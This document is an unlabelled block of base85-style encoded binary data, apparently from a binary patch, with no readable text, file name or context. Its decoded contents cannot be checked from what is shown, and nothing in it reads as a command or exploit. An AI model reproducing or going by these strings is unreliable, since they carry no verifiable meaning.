zV}Q`k3#iWvc+U%v%MaMk58xv4F#~f}>?u?1Y0eLb&JQTc4`>#Ai-G*=%7u|1z?T=` zoF6cd7l2FR0}D>6*fXQp!=TuMr`RL>4}OqEag#tcBBL<sb3f9k;<M8IbFn&bMj7SR z?DwMp*urPd(*J%^z;2)`N&^lC#ts1nhWFq1(6w=9Fn6-HvX1Mq>=i@}xeV^=bGrQX zgUiAgIXVTqA(?&PK~>$=7~8cT=qj8v>uQURCF-z}`+V>U%ifmRMS1+_0K<igG&VK# zECXTX*8-2xZ^0d0edxp#3baEh+YQ$EW7Wg9bCwJ~7Cy>kq_-$U2(w_#<UQoQ%4W5% zLNFbS3qYsq>I`p-^ejXWI6lUW5iczC(M{29VEjJItUp{3ag~;tUm}9T`3Ao)Gl8<( z*p#{6X8?IEOU|2GQOW641ms<HRIxn9|JFo~+?u!?WSYDn<VqOUUik-(MHh?C#}dpW zL1q6>Se${hexqLJibSZNgT-EBqe}2)Djr1F51G>=>GDd9&dG9cMeg?a4INig>mLdW zZzc=4^6wmpHqi34)WlN)A(iN#kpB~3*ROuavNt4dCs1Hu;c#GJ1pghrju!vvi~L^* zN2^=dVoIRCTTy(7Fe!6Vc)}ovLDZkp)Jg?F^@CGW<Q8nCucU|Yhw!^}Mm$}*vkftX ziHg?k=UkL~s8usCUg&-}*uNjnvz#QbIo+?KFy<I2+AFKs66>kX@846tU*F!3;W%mY z|Ka$4#H}`8uK|svC;hIaX5GB%@LGD8Us+|K!C|zo`mcCbioj`<if!QeTqhEIe-IDn zYgcspZX}VqaEE5RJRT%P-FIl)aE_#Mvc!BHolq^t*0tURUCTpF?Nqsbu|L4V&4o6g z3A;`$-JX*wwv(yase;e8fsHBBNjF;O!J#j@<j@YXns^m?X23p-wDkHc7XlCzp@II% zm%RG!?hL<#97n-eU}+BQXjTpVv?C6!fnW3Xy23=w&65(GH$xkF9UmR#Xuq~R52PF` zyPc>z@)or!mtSe;8`??fH-3*kz#~d-Y*tIOHh9qcT<<?%4jvcz7I`t_dle1a!>fHq z=IXS5EZJ$9Zgkij@4_DmGoX;1{9CfbGv1OoZDAQ{@_XT&jbdpsq~MNFlsZp2&;C~j zte&J687|~ONjCg_OB<>&558}9bR0wlHkGRcEy{8t>eK36l$T`o<zq9zL3(s1eg%86 zn;2BTZ)m0IPUkTHf(sa~UTB>ro62|IDt)SPlDTn)#pV@~r1*VzFu&W`CW+S0mu2?E z*jq1GaZXR$cdN5%L{DeRiO{y3LDk|S?3mZ4PD}FRduqq2q#Qa5s;3MbH$x9Iaq{_u z^(ydCv@e}dIh)-*ZF7iB#$IIHHGo!&OKzBcVGGO<&kD3aimP((RSJzZM7H5#P>4_8 zZZsNM94P(qifcZ((wxkjC%R|B(f=+ZFCiBt%~i}DnpQZC&V6Y~K%R&8W8=k&eWgrL zob+$ja1EmrqUcZ47J1aqxMaTKEShrllAtAY{6u3Z&@Vy(lVb5^Fwye_H7-HH_)&Ty zVe#LZ!>b#i2@IXP8SLEOVVwM|pPPP&i{ZyeRoD5qpvc2pyI|n1kar1VAR^024mBJY zE>o6<(<i}-hmqM(b{s{|G|IOM-Q85^?j&?^c(86q`!QR0jFd^Z;LZ1i;!22c=Phqv zhlmI=J&Ow!{YmAoxXWqai?mk6UoVAZBB9@(mf;#-<EpJV;a&}6Ua~7WwaRmV!!n5~ zF`P~iHe|1Zg}NatmHeIj+a6WvP`wX`b%MyB$1SEm>*(~S{OeaYg(erCBUO3}^9q$$ z_J=kO4wFci_sUG|^q>EIyu(Uq-ZeFTA>D!E)bQ?QsBTYalvDIGKapFm8bP0rl)!-| zB+LaaCM9B>aY;}F-|E!1Y~+V?8dW@Op@?BrcMWXu3obK_bGSB(BeHk^Yax2^3gqFd z%s3y?Lys(NG6d`}hsQU!=#9|mo4`Yw58i(~0r>S4ZUkO$b=x%pCD%;RrD}PW-)L9v z-SwTAsw?Dgb;B+Dpj()5iEWEZ7?U9+Hcn-U6K7AaWt^~+>8d~LwV6&XIf(W{%w=|e zQ}X=z@=PL1j82hhYhDPMy5J*OZZExzyTJMO7>aA_yy}mhYku128Ng89eP;47c7$FS z(hnHW6Rj#0(gTu<4xYuELN_zLtO5Z*Fc|F-w`A!y=B2aU4CS=ln)-b#{b^fMQqT9@ z!@r#wO&r)iK303S|CiJ1|HR0RO(dm602r7r3m6#we;XrzTi7`MSBN~<v9?`fNB=m3 zct@Fou95@OiZDQ4<or!s<x+){C*@e{+3CYf6W%^XNBP5R`Tim6(`PDfwraiQ7%P<# z8fu9)VlS@GEGK<C;o&Ya@^Y%$$KyQ<yKCm|CDgXd(_TLDz2NEksDp-~is5MUv&G|? zkZ@1oXjVt<xxnqiQaCaAaa~HOV)4|=I|-kMv1$X8gLf1>@_xV@$Mj}pF|mG1AahX5 z25-G>4pyAg?d8q_T{gR@^!Ye>@#f5-Oxq#<H0qwhR&>sSi(Yy4FgJe{=k?X8Xk}vT z_OJmo6;M@Ie!It!&71A!z8l$WM5%lplvOED?XKS;hlOn1n0Z>9uqynqAU9boX8Ab* zJ_D?#ITD@}oz5Y+6N^^B+b>u9nDJHY@$O2lY!FU7?qIImT^anBAa5R!tmczopZu>b zzS6Z;n*+9Nfl+Zxtw2A#DZ#n?!YS=9`@?y^Zi;$@>A{=$m~3QpLpl!SsC<P9%t-LQ z!h9YrPJ?A?x|OUdwaTos@+so3)amc-B8}*AZdwiLs(SGSX%l&P9r}v1hSC<fM*hFD zW2J(pan8N&>GPwb5fWJ1&vNVt+K>$2S1Z`)2c@(tlMsY85P*b>68maAQ)D<c9as#v z=wH<bitwYOlTP`L>41%^gl~aFtAE3$2u;Wh7a_G5O|OXPVWU(<3zJV*RQ>ZOZR%%_ zxC6Dd)wIliTevqxS#%`%0Oiscr%$cz^e4bB#!>d+Z~R()>n*#M*sseI=?Sc~pRImb zk-t3@b!w;zJg#3Xy+YojXubdVxwl?C#O=fUQP#lT6jDASzidcTfx1F-SkKOS?Vg#w z^;^Hwa<}kbv33{2prfs!AxTv1DqS5#!!@`y_TaB@q2!bTB)z7%wm@+<gp1)hoJ;$o z6sEZ3nQw)d^UNvyO<Uypb|wgk<9O#kVKl9JR+44?9(d7zRPiJ|ohusYvlYC?ZH5nz z;M;h@8z&PLdQAMVS$<)fh|#KV=-;#G6#fnV);fL~$yned9t!wvB4Q>tG**gvBC6F( zP5XOAE^(gO!+?r6Ov549z%jnk;H+aq`Vid4df*I*{H6K(e#Ul2_bnb!dCb3pgUl35 zn0|}$;H3Yw<-=uT0j7ML2X?0_V2pHhU>(PU<C9asGhjFC!42y8BVhv!s47cpVCqSL z{IzzKX8IDdm>da?8e333s?>!+z~INpbV}GG+%L;O792SoY$TX?RWQLj5ZiTumqSSp zvCM{IM_3VKcV(#4y43%rI=RXgZ1)nh)OpVrRXqWZ*Lzo|vixA$R}ST2=KE%=ESZ-) zEkq?~NV;Mar##9Bc%gAvkIYgWH}~whUi(h3hsWzHDE4I(){r)#Iw7Z!OGH3KsL=Al z$G;)qgYE49W0RQS^X8c4U|WKPN@1uG#xa)5X*}N;nb7elO=O7RC3Gskrhb;zg4lP~ z#N&=9@%y4-v^rc(?5*fO3)u$a0z!=QH1i=*9;y|l8U8f$*v~0Z9iy2srl}Zrm+^Yz z9KzePG_y}P_lJvYT7y&U#|!6H?-qOpxlSpyv-5u>1eq^Rv$%)U6h;Zl8?25I2RiG6 zYcwO^->YR+{^cLv*vz~)f>iiTR|dw`j(3hUY_exi!82XfY%eYI32OiPlOk(c>GoP# z@38xC25oN087t>CsQbjvDNrd=YFqZ#mDFf8tJ(m-VKyK*P~(qSpbtb6kLaqtbrgm5 z;iyO!BOKO~(fo3qmDZMm03i|hDsG_Z+5s2#ka~o5DrdJ?v4ZaSUXjK_Y9mILV=c>y zgE_}=V+u~~frZ|*+lqV~CoLPmI>h;CD`|`GANJq}*!^7aqwp)w4OZ@h+*;nYZRh!h z+is-t<JI|A6D!&B$RE7my?8~{xw16k|K>)t=Y8yj4FsN5SkE?6R|HPGvR=*Nqh`FG z>}6+tER?cMn&oWCH_`;vN^1O#OWjbdz-4(3<6#I|Q)}1M&+u-6vqn6pd|3M7A=>+x zQdVKi<pIt;Omr^56?icy_TH}zaOh6uO2IVrn)16pMI+&`c7hSEfTItFFe>tcpfuV& z&7Y`c^etH*xJjNkX{C;`N0_?eP?5+1qG^RaFjt`P4;w3aoTWImhTaX>Dq_09gGX^r zYV+Wvf*N~4S4aieAs9Ab{&`fju#Q;pOFDCg)Y$8fuxrgc*oX0ey{yzw-7vY7oBY9( zR@_YO^tsIjX_0ReiDbO?lV^t6+D_BJG>K~$1R|v9TE=FQ#4>162M-IYvZg$1r7WFV z<;Ep&$Z4+{!Z~1f)qcEK@OmC3lDb2Fc^;_)INAxvWg7ZOFgRky=U#9L?+|wKFEZ5% z67}eAxZv7r_-@F8_fba=@K{VNADOK)0$8nnHE{Bt3?wqvPMEZg<ftDPS0Zb+1IYJK zT-UDPyfq4Fa;8?)z#-prD`-N9@#M2?u{GFub)&be4<Z8QZp0H(0l^upuEB<Y{H20- zh|%$F(2}#CoBedl&+y=FTKTD5bD;yumSR|Z3cs55QJ4$xTWiX2ZSePqW+u(=m?SE+ zeMbwH?N-w$8G&!4H-wQg>O0SW*e*muGqFXUjzm-~%8nvIh;*T@5M$flGzYtxVN#fC zydt_CoTzIEqWw(~>5L6=A;(GpbVFZLuK(XDZyVip9BS4$A-=YD`Bq89JJKBrQlSAQ ziDO;IBBZq0Yom9Jozt0jgUoXQD5oE(zNLyR9;|D9dwp;Y8(O<aWcb-Rvl?EkE;sYL zZbtwgolkRz#umr5`Kuy?s9g)|vxFx%J?+kI<DbZSyruGozioC6Y0G<PZ4GJriS{{Y z-1x&Ig=mOok_q(FrK%e-^Js_*;UKay7V1P1-sp3$xDH-lCDO%wwYlh@;1Pm9A^vB+ z_aFb8&L0Z^yDtv2_BFmr>Hh!zH%_Ks`5w^e%L&H{=x*!m#PlCtQ~zB`c2r7Da+Fb8 zioQ;bS+#C=f2ZO5h@_k>c&*<!*-s>sKTBMPhe-zq-@mOKrT#Gt!|M_AN35YDL1Kfo z`lak6O<A0tKTsz2rRy(KhoApZr07Cl4&6f;ZefxBodjzD^%p&Rd)@)076~J`*8j&x z$2F9qi1KT#KfVU_|9Q=hHWqevrvGEn2qVLE>R<&GvpeX)J8x^M(3v|41#cZr?R#%Y zs`%bC60xZW|I3s9!}N3)erig7F}+DNurG<te}|3((8lpU@cfU2Si{<upc(C>;*0H# zgUea@tu$6Zh3QACI%q@I7K%G$cyZggx;Hnp>}4>zwuygSdWWp7&uP`EbT8aUPTC!$ zhqCm|RWtZ@wLHI{VEq;;S)OnAeY<-Jn0Oew5eUUGb$53h@p)aG$jn_5x(?8TEjdw4 zsot1eszAyYU>Lji(5pZ}I8E7~VB9CP;3BC7wp=F4&IJ8(`B(&H6{}ouTfZ%1;33Dv z#MBvX(20p`<^`l23W!%O3rC=4Tcvei=vD7qq~p|%h05WnHZ9i(U@ru{2OlME5PWVW zO}}Xz;{p5OWMuT;HHhj1Q{UG|Bmk*}tb+#Um-YCj?6wU0weRnL+FZ&}=&U^4*%59S zk}e0N_m**QtN1gq#Gd&T+|o?gZ>v(~^4u=X4mrsyKg)!zmJpubgmJNQ-u=Tn>r6hA z#JTg+&jafQ=d8@|M`E;QNwYA01}(T7>SS&UwBS_6s1zQ#8IrFXrX!0gNbJTE4|OA> zop{6GjTzMwMCzRHG@O^DAuGq}Q?unl9VxvT8xKYe^&gsI`KY2(8Cc1N^SDPmslP~| zJ2gIKOKR_YWnw2bTjh5Qw`k4oJNb-Z&+WjyXotFD@*s6!A5IvzUHq(_G18q0hQ_Ew z{;4{r!tDr#X$o)rAp_^OdmIUXj&u<g%od#vWlM&0LL%-!4H29c7D^GKXV}^J6mSax zI!vBN3I*4m=gko3zRAMqvo$r(jvm8q-;f~w2a(3m%UMN=;uLBiPrqsr{uZbRACQVy zbsOxQ4VXizXMwW5or3lE+3S{Z$curp1>xGs`NEy@YU?acw|=McLWK7U;v0qiDg*0! zTpOH@`yBnFP-N}>O1dK0?jI2R^JDE+G}e3;cA;V6S~go-252;;Q|77pFK#P^rq3>v z@iEB1qB0~#`d_of9c3uW93jas)cmY@B5pwg*tRMY7^kf$#gR+RZQocl`%;W|V<WTK zgWq-n(^&d2=17=z^eiBg<z^Et7bb(+p1ek|4_2zrSrjGrzs3P<wfU}1)Et(<TuN#! zQH}M#=B~wO8*g=?6srsPa@&!23Ag5)eP<U8E31Ms$r}O$CCyhpB0cR9QY^^P-bb=K z0p~HJqYw!fBc1XA%QfFt10o$fO%3*Wr<4nR`s?W$)SGoRDsfaKSQ!@@69Hy=9TRZb zCx7SO5b*E+R5N@d!PSK@5GQyn1;n7)j)^WYi**sy8b9TqGap6*ZDKqr2$lb3VU8Eh z!NDoBj}%dkzKv|cLL5B6m07&hiZY+T#h<@XB+`8**t_>Zrh`WrI6xTwKb*Z&kZ3`> zEZDYf+qP}nwr$(CZQHhO+ugg}ySr!qcjm^Kdn0Bh&OB5^#d=y5D_2!ke3|)C7Z%S1 z5D3`}5va%ELWJco;)}#-QYm{cE^l^z>S+7y8xm=^p9gEus0d4oi-Xg{_vbD?kAp9= zxr7S>8urZf6hfuX;hvrNRCof*zrMCGOhZse(9#i?@$vCXvierFt1M0DX31R}`wQX< z=M~8ea*;T1=gfLtEAEO?i7B@Wg=SKDnct_Bn5eC^QD<+wi0;4o<8LJ~Gtr?wEx$he zHM@p`<CPJ=&3!#*uYHQKBTJsNmv=E6l>3>kgs)_y@#@0wFGSa-xS^Gs{^7aqgll@^ zb{an}T7BN+UcLIeR2SP;WJpmwL#O0JenHl1b7+&kHdcJ;cF16X!KzDIRWXoaDDT2s zveK+GUc3D;QU;hYe@FjaC7|Eoy&xJ*+G$PcDk2P7{s-7lA}#rM;>k6;E&itgh3NHo zEy(yxojW|nuMYK7+ISs6>+VXR4mK%Zy5R7vA=M?XYP7D`-X=Jyj~Yi-Axjd%#(<g# z!n>S<H6Ixr5yyptbDa)nw7L2{Jr_OS;H6G}aF;Wi;!%>sa;{je<h@qaB6Ae&Et0rD zIJ}hsGS2K|w!Dv@NHJdNmHaO!Ei$nsOIwZ1VV&eI?hM9htmDlMmVHR@y%|K|*u@w6 zMN1`J-t1Zx<SpaZ&*=UV>h_mbc=FG+DTk!wnOVT3@)M?|c=#X{;u0$HdPQo<L=~BM zc1l5NvzcU;*s*20Ym1s4di3Lh6PN3FNPCg7nCB>omd4!Gh0n8y+PapqF@yw$&Zrjt zixg(y6Y;|1#6U|6C^0BrJkHghhHqgMTysVS`ZTCqB#00&($Ao8ZmM5GrAVzKf%=3V z5tj{ufdW!A9TBoCCA{`JgY=FsR_(%Y(UziMyU$(7d(fe%FqB*THf<9J1``%!#4I@< zY}s5GEV-fEw75^>h(x*)upNcLlcXJC@nAE}(2W6aEwqXe&@aL2njtGL6w`1n{AcJI zL|z+=dBqhr;`Sk<ggM9yYmigE*Rd`s*#cP#x?GJ)F`Ga@3lI8Nk#IzA;VjYEy1ig9 z>dh)Hs|Xz-5X9tQW(zEcfr?8&X>q*+#X&TpH4}m!F~N{Qi+tjTfQtjqK|SoXD6C)V zgBxB{c^%h40>Ug@D*A4qjAs%FGP_4%UUs8suP_|aO-i2y+o-y>y7Y+S`fZKDun31! zk3S(_6h<V^#2=#ZF1-Ps6<<+z^@6>G6l5*>!x^P69rs`((o)IBNO6TbaDOEcN%VrO zy<!BxAY_^GJHcnlCCRWrpRKLL4lB!^S1F_~*sPqepMy^c{AGN?ojIjk@?6&V`y4#p z;4g!rJR~)rem&KzLA}}dE}|M)X%{TPqiKfc<~G<<IO6*~^SUq{W<$-Hd9cStjx@#V z*#SatEO%*(>2To(VXLg<!W62UUth3OV&hmD$#o-n0?=u}3J6stbRt*!)Kab}s?<Fw z0_jxzL4vKbYE45?9r`mArT;j#S5t<Mfy#pF^<w;m|1XO69};pB@=mq^3IMPG^Z!ut zaJP3d`5*ivRn69Zn+@S7=O6#5323DpkdR#ll(jM+NGiZyuoF!#+9nT9nnSaWI(au5 z*Ztgg7oT!#>Tv<Ki6pv@bBE98-n*E*yeCKZ_v0|uy+HkXxIB07&ucKMuj0ecQCYnl zrTjWhkAAz~@cRhL1t-r|P&MyIt+^0t5La#0p_@JxwA`ubde_iRO7&I34)f-_OtH0y zJ|2%3vrM1Xv*hm^9{M>vG*p`zBGB>z$3(&LXR9+^%LMCTj~gt#s0~s~RmbNS8YK7j zz7e`w{YqwTYZtHTb6f&LQ$rgQ4VYH&MTAZ?hd$F~rkiT|Od{vmTB?@ZA23t!dmMeN zn7ZC)jR4{%yw{ha9lqP=XjE3cp|x-jVl)nB*;=--*D?^N*+hT~q34hdhx=rq-wIuT zZSmZy;z-_F4nk$FP&AzL)u23(su_4Bu)^_f1c=MZEiS)NOaYU+;tby_ne7Cz7o?1P z9SBtefoKA^!=)ji@r18M*$H-#Js+T2T*z7pWEV?r=e?MyeE{^J#$_>4rNC74!AcdP z0AN`cE6%-H75b!5S%y5f<m04&i78L+gOT&V1As^76)a!SY#0-}?u-~zkO&zJI1wE> z$BKh&n8d1;#1$S$^%bHjEHvEAA}d-B)PLNnNGtxA$H8-jhI2a>S>g<l%j~#TxRQPm zoI}*H+<?bk5zhdxFE`gUizFH=b;-g*0TLn~do8-*bAc`V;fm1hcGM2!AqmKmD9~OF zc>7#}JW)(a26CG%7gZk*Wh~-f0<Sa9*IVBaSy=jBDp#+SY4)Se5?F!=8a(yhaTH0e zSdQ+sj5*F6js+?tKFzIw#%m?%D4lQU5iF`60>~m(7^}tdhsBHHAUFkP1idJed8!!p zq)~W}jsTd8L2?4cz2?#0QDo*Sw0HJF<}?Rh9XOJ4DnJbwcQdUX-t#qzXPWR#2OCEV zY9xOQMgJ3_m7R)A0~xzPOB1R%k%RmStGUThtln!+Xo{Z>NU5GI^DD_D8FRbG{Qx*< zn~SkGTX+yd6`Fm}87)L2Xl(=Bl#$d-GC{+?yab*|<k!BtRWRX`8+Aec1Jzid@qoxC z`JHC{pK-^mvg%?$Zf<_F?p{WPwmPs@#$|@sq2(bbRL(1mHPn>P!z>h;ncQaF>#%|? z>2`3f<grrasJe((3P-1!u-t<tMroLtM@-D69%;T>B*O}pa~R&#taAp&8CizkLF1mx z!~iK*DkHHmR!^%an>f%(R&f4)VM}IzO+s$Buqk){f@B`wi4Iz48FS!0;~GpG0+kRr zXncYV<0ShW3`Dpx6NXBhM%S5pae43Km5crTCj@!38~0?+g-TnCi)Y8*^P#HX(*FJZ z^)IYm^}3x#*GM&XJ4bE3ci>h_HIFE1;EP79EH_=vqep(U3%V^AbXU|R-2H4RNR^hU z@n=<RFRiV)KNeR6qa(BKZt>m09vyHxk_oYN5;wYt_>@FgjINgv^)MiG*gH>Z^M%23 z)B#D8!<?6lmdQ4bLfJi|ZyGz>AJaA%icnlZG<+O_yLxtk9QLwOxpGz{nER_scOw1m zs;J|6Cpz&|jxt*DR9qwCi+!N7QHLQ~?Wu)Y_Tv=qh4ljsD@aHC!L?iHZ8JKHt;SjN zcIGV!2_ABVZ@<9^((6Xy_p#BRc+j9Chv!ewS5p<9@lmC=LT;ma{l5uu=I51A_BYF# z9?1*i_@R8MbK$nE6p|HEN^eyjT}E5K<-srGyVXIm7YHW+Cbt@?LFrp#uI&-%YV^Zg zpDXJpHQ4Cq!%McLHH8g}n0#QR@gLDHVyLFW{+IHnDYtcBg-*KT(kBKC5&YQko6VIf z4$n89Q&xo!YumI5DcWSOD}Nbmh0IuWoi@a4BML)MFjZq>82X3UO3iISj%bJQaN8m| z2J{5yc^D~DKe8kM>P+w(<^|l4he4ZQZ)pn0QbFm^R4Dp(Yfx7e;28KDQ%45*|LZ*X z&z1d_LP=^A8~|Vy2>{?f*WmxzvewGk*vZnt#hLy;5A^@j#MZ{p&fJ;a)Q--|xm82k z9=j9O4?f{n0D@tmC@H27^-B1F%5i<016yMY7KnyGfjLDaLs(8SE=4lockd5w5_3|H z?>11FL>~3|&Siz|Z-)<iy6gADoBu|?kFwk2?Mw9(YwU4umFtem++B-3T5`MGa~(3d zWpRX@i(sUO!qM{i>Tvn|FIsGM>ISF00IrCNe$lg3U#5(Hf0C{B=jaI>^xPKM>9Nt% z05yTG_H+eWvc4y1Nm84V8KdUY6v8o3B2D8#&&wUiK);793R6gIDs1v1p1}1H8O0J? zb|gF<)K>H+P2#oNbxA$D>;`hU_1Cs3x;_6CLTW)gff`}F5_TsmNW;;h@9LNYp)KuQ zt2+0a=}$K=yUZ~U#Uxy8%$6o$dtLM-8CQs0Z|925E}4t%wLzTed2iF=a}7tZDs3C@ ziFYF3hWzI9e3dyQ5l%$a713n7i@oN2VWF$-x?S6t>U@=+jN06nA61)6YBCbIr^-Sh zbrK#t6WPZMvoud$L{Nq6K>4~*RB~G@H|f<{cX6F6f<sN+QurO0wjptB+_#QTnCOJY z5EX@^sM->dMs%CEV2({r0de-mM^*~*cOA1yB%M`pe-)0(T&5>f0dZv|I|_{xqvv_= zALz$~fFM8aE^JLDPgQxu5)*nTu|)~_wE#4s27-=gq8$!=v}EyjI$W}Pec$l>98m)H zDYpr5r2cl4aSe#EMC+9}owq!{&BmHkok?l}y?c0(hY(P6pEV;V`F>4tDX<XV6_kz= zu&>!V!n*AF=4>-J<zU1Om~TtRKOG&KvUDBnCka(2DHN6|4>R6@;3Sv>W5OF4=9IvG zX>G|U<Zo8jo_{EOT{HGt^{}_zmh-u*FUFsjyY2QvIdm)8s?4MXKcrD{*Wm9m0PIyq zvzcjes%pTf2ymOCO(4Q_AVN7Jf>0nTO!MzMu4r(};^Wd;J+ZFIRkvHT@ww)+z3Urm zOm2AWGa4bL)d>ki1mR2quwxE@gxwH*`(qzq?3)Prjrb8Niq*<RhPDGE<TGo^k{Hh* zDrBECpKJ#qMNp6i(i0vRdkBn3Dg<&zu{V`(e5vKmk4x8Uxgf!uNx1xlAf-^^PuLR$ zb#zT%d}8Ss>MpkrWY|M?w{G83c0i>x<sfCzOHuMuM2N8E_)@TE&j0w_3amo3k7bqC zT5z)k!pP(bNK{d-3U2jMX<Fs(Dpd<|2Ie#$udZ`*Q)3`%X;MNwH3?OnnWz-1rWEXl z*`htJXbzeiDe81`B<)OMkyj2_wHnb-xz`eTMpDIeSY=Wybo7ns%Go!`Y2w4*u<e=n z@^jYrCoPsB_Ayf>SB(u;1ZF$$nTNT5Xv9<{bm_H*@g>(z2gvxykLD0lAI=xF%R{p4 z$+A1mBY8L*E^5O-1RWChF1}_8XRqNa0Ov&Z;}{wDiO_#|Q}Kc<D~aDxQqHxFlDW5( zx?m}$y0_UwvE^>i3eWVYilI93Zcy!(OGGYS-;!Rv;?{YMV?><|Ry49#3XvxVTXbqg zq8^l@7<e2A1<Zoo7Ow!|QCC#^u_S3NWHBTUHE?zkt|INub&L5pQEmeHiiIvvehivB zntL!<5yqn$f^CCbUC;X_4ja!v^2SekFdS>z(xt6*=ZEevZ!F@MGbH6q$8WidEvXC` zA&u|GDTNAi2?krExSC0o_qBZ063J0@vblcaOL%&o{*LR;?>1J#s)MOvxUyuhSdwYf z<?sF8vd0kc{K62UO3EZL>_3rSG{wnV!W`KfSfb2DSwqdj|0-6Y5(BW@tnrH*f96GC zTEPsW)UiZ3TAGubw{qLIvE+VM*U3919)wB_71Kvz<S0j0ZGx4UW0ne}Ty=dE5(T-( z@-Bl8;a^O-tX~P_Uel#^7Eih4K(RP36^B^aN^YVO6e;?}CmdrYFY<T*cnN+(Ot5ag zds>SPfUumjRUlE74BAQby$pDZ1}k?EbPYMv^gYN%eRELY#j-KwWZz}^G2rn6&Ed3; zG#4X~qPKi==EbFhu<mJZ_MaDu=wbB0_8mcG02JRbOij^sEzNS<#ax=U@>MJ~bt<ql zsR_3hoa2ao#UZNUz33H5<(cG55y1b@x@LG<X%Lnr^3Eg6LlP8tf$g?VaFmr>f)Y=Z zDH0aM%Hkyz(S#%41X**bG4(KeZUHEYmA}F7R$%Q}QAmgcoSpIXg88?*lVB(brL&j* z{uZvWllDGxL8Pi*lKL@f#Zu5YWEK+kK6T+mX!pep{MB7A39B@K4{$#25{moW-nn<~ z>#iEsKIchurc{DWy?igiLM*LXm2(E4U^x|LzE%vE!-CN_Jo$+Yl)22s6mJ$deOkM9 z8}5k^j4p3rxz*FS#L0vL;N2ywW~TT7M4%+&AiX3EcM!@fyZ$4X<Fw2>912LOJk5$S z1L7kuP5wsNE05InZIM#aF$hRZcenl6Y$|VJDRi9ZI(z^hS9F54`~U%^Qw;2nP$xai z*=sP?*Cua!R{8=-jKRu}KLx~ZV6;!w^@b%a^?|G8N6wwB*L)}9Dwg#saDVm20l^p3 z!7F;;JosohqSz;;?cgKvyKO0+*?+_^CDSpJ?f|S`>KoeEd6H^hy-ZB;kj?NneXk-! z|1rw``{%p<_kTCd+h4LbqW&WQ%$EP3JiyY})Xv$I&c(x}RM*xXTRiCp2k0-n?<W#u zLF&ZjtnQI0fL4*s-c(Xr$`LCZ_)daN5;DAbhG*i;*NeKms;m54LP{?Ou^5e0S$9{L zUY^(Gn)^QHpS#z^otU!a#gQKD-8iygZ0FziS2G{Wi~9>VuB*4c;_>(S`?i`TBKG=u zda$#txhXPA_p_sPeZR}MPhMwD8+X$#t@X3#Cm8%?<@Y6>^tCL@#+v-(rL60sNpwkB zVAvUs{QTu?|K0-gq`%H-XJ%T<%dD~abl0t&b5TV&8SSE~#~<**#(qA&j*rLH(fNKo z3}=p9CF|nyZ9Ax)td^#2Z965dw&-PaGdUDYl6?%(EmhMlYb$FD&CFT8!Su@7i`Sz| zE7o4D(&udTHJT`Y%#59j0`(aFxF*#v`Is(Y9iNNZCecvm-5%jo|I~x`Nd2x_Tc=rS zu9mfA%2E{_NPdhWYd9NMPo<she$RF?8p9|Dj*!(0iV_K{%=*a9qn3I{vs2`z8oc;2 z6BAvElerv_d+;(?XV25Z2CMIkdp2h-hP3FO|H5kZC+GIi+cssIrm@fREI@ZXP0?8H z!9H%O*tI{n8&<odLQ7wtF#Epe+|1NjO!?VMcDGWny;o`dfgZ6t!?YEbh4$?(W<7Jw zR2fldFK}mTH%+<>`s~FP2N09^vvmfYX(vjQwlJSo&P+c;R^l<F-&<tPM$l$;!D&{j zjeLv7AHBMyhm@OYX<=REJf5V61-7^*YSR9dVAGB{iIl8r6Om$NeNGA6tGq}0FG25@ zEz@64t&IrFecNSj-n3_wk}oCp{w=N&mcFY%JmRxV58c!>Zyj`&MIIfEWkD<CEkCMk zKbySMPiP;NXl34DI!dBqP(4*!Dd=x==Ca8&7zt@JP<$P2+0`2nF5z4ty=bR|v&5O< z97k`4=8^<fP)Y(v<CZ5;V;b&bam})4GAZdSoZp;=uSKcHrr)NS<Q#Rq1&I>xZdp9Z zpPr;zSw3N1B0!7-YKFKp<7p%;nPx7)qVmW9!G3Vxy)+TJ#_KxHw$ar*ypW>Qm2bR_ z4!Jy$B_Kvvns|&HUZL4aD91^mnH<u-#2((o6EfW=G~V*n&l_0zG5&NnyJhm2r4;9w z-UHb|vwE6EVCz!*q@RT|@cSb|)kO(<0r0lai5%uaCKyblFB%s6X(Ls#>?>IQYjBiW z(j|5`MEPb40*<yO8eQsoL(s6Q+a9!Dvv$SDv{N<%2g||U&Kq8MndF%z(f;!fs7LU8 z+c~ny2^%JYXiLGemu4STgK;U0bfvuOx06BVwqR9vAtqi`F{J6fku+DKo&xf=XHzce z<`%h8v#D3=e)v0&Sv9p94#d)UyC~7F9YOU_+V$tu?<AWx%*cCoICcjtD+}|h6dg#| zp|n{VTG-(~EG2u@Dy7LH<fVZVw+%1H@gcf1hFig?kWBUe>fAl}(mZ;_ots4*nl`8M zr%*+bU=b$Bc=Bt>gA)-iMuom|le6O2k0{9zJc*LS5C)Kr1sUIfnVMyp8rvS6z*$YC zah8PoF&`J_vi<A1QzX(%(i#{w!4@I-Yy84Na>@vxEr%aaRD#i%OXYcUR=PZYP^f%Z zF3OO!B4Xw{eX_Y2-Or}+mH-dMjjqm*R8_ZYHy6&(qV;DlM={&X?gY`kAm&*TJU_GW zDbq|IRM3UQUwi&lPSJv;+=l9sYW9ssR2U5uCRiXs<G_9b6#=8I1~PqB+aP1{Dafvw zv+>L4P2>VrXL1mfD$|gQ3_!IOhe>z7=V(?38&(~Wk+vb38qGquK{Cysl$vmwak~u) z1hZ9*mfIvre@qrq{kJ;Fv>(s{5hVK2@!QU#-bdC;Lx3k)DSDzxX8pJCBjtbkiagt7 zY4N@|NkxYRn2RFX%=MrvM>v6uuvdFv@2_LpQVA3^X|g(bMz@Ye&aj$Ix&<M~t@LKv z2D}2>s<JZs$O_cCJ=^pxi~*1~>xOT`(7tm{5#`MGJ0CN$Y4r$Gi&USz)7Ax&L>LA$ zW%5D|QD{_<VCSnd2K|JVk(j#Y=J-6HCFv8UWn4JTbWKdkMj4W!=~s%&O}sFx1zbRQ z9**%c9%x3`83S=4?nJ^?-Nw>F$A=;IxB$Lg0)h+$#(~n#616Vtd;l!Knrsinv*w%4 z0$+p(v;)`!6lS4|WZcqUIzW}YFE$Jl{s<4G6a#~mfA6suD4&l2sbDRLb_o@!XYyyK zpyZ=O-9T^*WB-A5kPoQ{)Q%k>Y8#rpDF-ID<eA3PDq?$ug;`k>J&n!gk%m7N{h<;f zB!rXcsdyauFxSe;TH+Pg6r=`qLpGHiHRDZ;Fk0k`Lrp%IR|3qJ3!7m2gVT`50#q!Y zYUPQ=jDBi<ME=+*laG|<<h!k%xK_anlEd2;UFN1$&{Ks#S;spbl_Md^>QKNdJ)QAN zx;L=zDe0|U78zVfax5i;bNuX$3$)XMy^uhvzm?d~n-{my*z9`G0fUs-c@QTc@~{!9 